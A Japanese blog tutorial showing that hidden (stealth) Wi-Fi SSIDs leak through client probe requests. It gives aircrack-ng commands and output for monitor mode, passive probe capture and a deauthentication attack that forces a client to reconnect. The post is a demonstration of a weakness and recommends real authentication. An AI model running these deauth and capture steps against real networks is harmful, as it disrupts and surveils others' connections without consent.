Wi-Fiクラッキング🍳秘匿されたSSID情報を取得する
Wi-Fiの不正利用を防ぐための機能とされている「SSIDステルス」は、
実際にはほとんど意味がなく、むしろ逆効果になる可能性があります。
今回はSSIDステルスが原因でSSIDが漏洩する様子を確認します。
目次
SSIDステルスのSSIDが漏洩する仕組み
端末から漏洩したSSIDを捕捉する
SSIDステルスのSSIDを強制的に取得する
SSIDステルスのSSIDが漏洩する仕組み
Wi-Fiビーコンのやり取り
SSID (Wi-Fiの識別名)は、パソコンやスマホ端末の画面上で一覧できます。
これはアクセスポイント側からビーコン(信号)を発信して「ここに〇〇っていう名前のWi-Fiがありますよー!」と周囲に伝えているからです。
SSIDステルスはビーコンを出さず黙秘していて、Wi-Fi一覧に出てきません。
接続するには、そのWi-Fiを知っている端末が「ここに〇〇って名前のWi-Fiはありますかー?」と問い合わせるしかありません。
既知のネットワークへの自動接続
さてパソコンでもスマホでも、自分が知っているWi-Fiを検知して、自動で繋げようとします。
SSIDステルスは端末側から発信しないと検知できないので、
ユーザーが各地でネットに繋ごうとするたび毎回、
端末が自ら「秘密のWi-Fiの名前」を周囲に問い合わせてまわります。
この発信によって漏洩するのは、単なるSSIDの文字列だけですが、
SSIDに会社名や学校名、部屋の名前や部署の名前をつけている場合、
攻撃者に十分なヒントを与えることになります。
次に、このようにして漏洩したSSIDを捕捉する手順を紹介します。
端末から漏洩したSSIDを捕捉する
ツールを用意する
aircrack-ng がない場合はインストールする必要があります。
sudo apt install aircrack-ng
以降は、物理マシン上で動作するKali Linuxを使用しています。
コード内の「xxxxx…」は伏せ字の意味で使用しています。
無線NICをモニタモードにする
作業開始前の無線NICの状態を確認しておきます。
インターフェース名「wlan0」として無線NICが認識されています。
┌──(kalina㉿kalina)-[~]
└─$ iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
wlan0 IEEE 802.11 ESSID:"xxxxxxxxxxxxxx"
Mode:Managed Frequency:5.18 GHz Access Point: 98:F1:99:0C:57:07
Bit Rate=866.7 Mb/s Tx-Power=22 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
Link Quality=67/70 Signal level=-43 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:8 Missed beacon:0
作業開始前の無線通信プロセスを確認しておきます。
(同時にroot権限へ昇格しておきます)
┌──(root㉿kalina)-[~]
└─# airmon-ng check
Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
658 NetworkManager
774 wpa_supplicant
NICをモニタモードにする前に、現在のプロセスを停止させます。
すでに接続していたWi-Fiがあれば同時に切断されます。
┌──(root㉿kalina)-[~]
└─# airmon-ng check kill
Killing these processes:
PID Name
774 wpa_supplicant
無線NICをモニタモードに切り替えます。
┌──(root㉿kalina)-[~]
└─# airmon-ng start wlan0
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 8260 (rev 3a)
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
再び無線NICの状態を確認します。
インターフェース名が「wlan0mon」に変化していて、
「Mode:Monitor」となっていることが確認できます。
┌──(root㉿kalina)-[~]
└─# iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=-2147483648 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
端末が発信したSSIDを捕捉する
airodump-ng を実行してネットワークを検出します。
上段がアクセスポイントの一覧、下段がクライアントの一覧です。
┌──(root㉿kalina)-[~]
└─# airodump-ng --essid-regex eo wlan0mon
CH 5 ][ Elapsed: 18 s ][ 2022-12-30 13:57
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:XX:XX:XX:XX:XX -90 13 0 0 13 195 WPA2 CCMP PSK eoRT-xxxxxxx-g
00:XX:XX:XX:XX:XX -88 0 0 0 1 195 WPA2 CCMP PSK eoRT-xxxxxxx-g
98:XX:XX:XX:XX:XX -39 19 0 0 1 195 WPA2 CCMP PSK eoRT-xxxxxxx-g
C0:XX:XX:XX:XX:XX -82 11 0 0 1 195 WPA2 CCMP PSK eoRT-xxxxxxx-g
BSSID STATION PWR Rate Lost Frames Notes Probes
(not associated) CE:XX:XX:XX:XX:XX -30 0 - 1 0 1 XXXXX-CLASS
(not associated) 56:XX:XX:XX:XX:XX -30 0 - 1 0 5
(not associated) 00:XX:XX:XX:XX:XX -82 0 - 1 0 3 40017-xxxxxx
(not associated) 08:XX:XX:XX:XX:XX -76 0 - 6 59 8 xxxxxxxuser
00:25:DC:EE:9D:6E 60:XX:XX:XX:XX:XX -89 0 - 1 0 1
ここで下段のクライアント一覧の中から「Probes」に注目します。
プローブ欄に表示されているのは、いまクライアントが接続しようと試みて発信されているSSIDです。
これらはすべて、どこかのステルスSSIDが意図せずこの場に漏洩している状態であることを意味しています。
Probes
XXXXX-CLASS
40017-xxxxxx
xxxxxxxuser
この中で「XXXXX-CLASS」というSSIDは、私のiPhoneで以前接続したステルスのSSIDです。
スキャン中にiPhoneを起動させるとすぐに検知されました。
もちろん「XXXXX-CLASS」のネットワークから遠く離れた場所で検証しているため、
この場所で「XXXXX-CLASS」の存在を知るのは私のiPhoneだけです。
SSIDステルスのSSIDを強制的に取得する
再び airodump-ng を実行して、アクセスポイントとクライアントをスキャンします。
┌──(root㉿kalina)-[~]
└─# airodump-ng wlan0mon
CH 13 ][ Elapsed: 0 s ][ 2022-12-30 14:41
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
E2:XX:XX:XX:XX:XX -79 2 0 0 10 270 WPA2 CCMP PSK <length: 16>
04:XX:XX:XX:XX:XX -84 2 0 0 10 360 WPA2 CCMP PSK elecom-xxxxxx
60:XX:XX:XX:XX:XX -75 3 0 0 9 720 WPA2 CCMP PSK Buffalo-xxxxxx
E8:XX:XX:XX:XX:XX -90 2 0 0 3 540 WPA2 CCMP PSK TP-Link_xxxx
00:XX:XX:XX:XX:XX -86 3 0 0 13 54e WEP WEP <length: 0>
00:XX:XX:XX:XX:XX -90 2 0 0 13 195 WPA2 CCMP PSK eoxxxxxxxxxx-g
1C:XX:XX:XX:XX:XX -79 4 0 0 7 270 WPA2 CCMP PSK WARPSTAR-xxxxxx
12:XX:XX:XX:XX:XX -74 8 0 0 7 54e. WEP WEP WARPSTAR-xxxxxx-W
74:XX:XX:XX:XX:XX -87 4 0 0 1 130 WPA2 CCMP PSK Buffalo-xxxxxx
C0:XX:XX:XX:XX:XX -84 4 0 0 1 195 WPA2 CCMP PSK eoxxxxxxxxxx-g
98:XX:XX:XX:XX:XX -45 7 0 0 1 195 WPA2 CCMP PSK eoxxxxxxxxxx-g
BSSID STATION PWR Rate Lost Frames Notes Probes
00:XX:XX:XX:XX:XX A0:XX:XX:XX:XX:XX -82 0 -12e 1 3
(not associated) DA:XX:XX:XX:XX:XX -81 0 - 1 17 7
(not associated) 3E:XX:XX:XX:XX:XX -93 0 - 1 0 1
(not associated) 08:XX:XX:XX:XX:XX -80 0 - 6 0 1 xxxxxxxuser
(not associated) 3A:XX:XX:XX:XX:XX -90 0 - 1 11 2 eoxxxxxxxxxx-a
このように、右端の「ESSID」の欄が文字列の長さのみになっているのが、SSIDステルスのネットワークです。
ESSID
<length: 16>
<length: 0>
標的のネットワークに接続するクライアントを解析する
airodump-ng で標的のSSIDステルスのネットワークを指定して、誰かクライアントが接続しに来るのを待ちます。
接続に来たクライアントはSSIDをブロードキャストするので、そのときにSSIDを受信できます。
以下の場合、物理アドレスC6:XX:XX:XX:XX:DC の端末が、標的のWi-Fiに接続しています。(私のiPhoneです)
すでにクライアントが接続されている場合、この端末を強制的に切断して、再接続させる方が早いので、こちらも一時的に標的とします。
┌──(root㉿kalina)-[~]
└─# airodump-ng --bssid E2:48:B8:E6:B4:1F --channel 10 wlan0mon
CH 1 ][ Elapsed: 36 s ][ 2022-12-30 15:04
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
E2:XX:XX:XX:XX:XX -42 100 403 4988 21 10 195 WPA2 CCMP PSK <length: 16>
BSSID STATION PWR Rate Lost Frames Notes Probes
E2:XX:XX:XX:XX:XX C6:XX:XX:XX:XX:DC -31 6e-24e 5648 5201
標的のクライアントをネットワークから切断させる
非認証攻撃を行なって、標的のクライアントをこのネットワークから切断させます。
攻撃は多くても10発ほど打てば確実に切断されます。
今回は2発にしましたが、問題なく私のiPhoneはWi-Fiから切断されました。
┌──(root㉿kalina)-[~]
└─# aireplay-ng --deauth 2 -a 98:XX:XX:XX:XX:06 -c C6:XX:XX:XX:XX:DC wlan0mon
15:07:48 Waiting for beacon frame (BSSID: 98:XX:XX:XX:XX:06) on channel 1
15:07:49 Sending 64 directed DeAuth (code 7). STMAC: [C6:XX:XX:XX:XX:DC] [63|64 ACKs]
15:07:49 Sending 64 directed DeAuth (code 7). STMAC: [C6:XX:XX:XX:XX:DC] [63|56 ACKs]
先述の通り、端末は既知のネットワークに自動接続しようとするので、その際に発信されるSSIDを捕捉することで、秘匿されていたSSIDを入手します。
アクセスポイントの一覧でSSIDを確認することができました。
┌──(root㉿kalina)-[~]
└─# airodump-ng wlan0mon
CH 13 ][ Elapsed: 0 s ][ 2022-12-30 15:10
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
E2:XX:XX:XX:XX:XX -79 2 0 0 10 270 WPA2 CCMP PSK xxxxxxxxxxxxxxxx
モニタモードの終了とプロセスの再開
各設定を逆順で元に戻し、通常の使用ができるようにします。
モニタモードを解除します。
┌──(root㉿kalina)-[~]
└─# airmon-ng stop wlan0mon
PHY Interface Driver Chipset
phy0 wlan0mon iwlwifi Intel Corporation Wireless 8260 (rev 3a)
(mac80211 station mode vif enabled on [phy0]wlan0)
(mac80211 monitor mode vif disabled for [phy0]wlan0mon)
ネットワークマネージャを再起動させます。
┌──(root㉿kalina)-[~]
└─# systemctl restart NetworkManager
ネットワークマネージャのプロセスが再開されました。
通常通りネットワークに接続することができます。
┌──(root㉿kalina)-[~]
└─# airmon-ng check
Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
16195 NetworkManager
16748 wpa_supplicant
無線NICは「wlan0」に戻り、元のWi-Fiに接続されています。
┌──(root㉿kalina)-[~]
└─# iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
wlan0 IEEE 802.11 ESSID:"xxxxxxxxxxxxxx"
Mode:Managed Frequency:5.18 GHz Access Point: 98:F1:99:0C:57:07
Bit Rate=866.7 Mb/s Tx-Power=22 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
Link Quality=65/70 Signal level=-45 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:4 Missed beacon:0
さいごに
このようにSSIDステルスを使用することは、
隠したいはずのネットワークの存在を、各地にばら撒いてしまうことであるということ、
また本当にWi-Fiを不正利用しようとしている人物にとっては、不正利用に際して何の障壁にもならないことがわかります。
他のユーザーに使って欲しくないWi-Fiは、ステルスにするのではなく普通にパスワードを設定したり、デジタル証明書を使う方式にしたりと、認証によってアクセスを制御すべきです。
この記事が気に入ったらサポートをしてみませんか?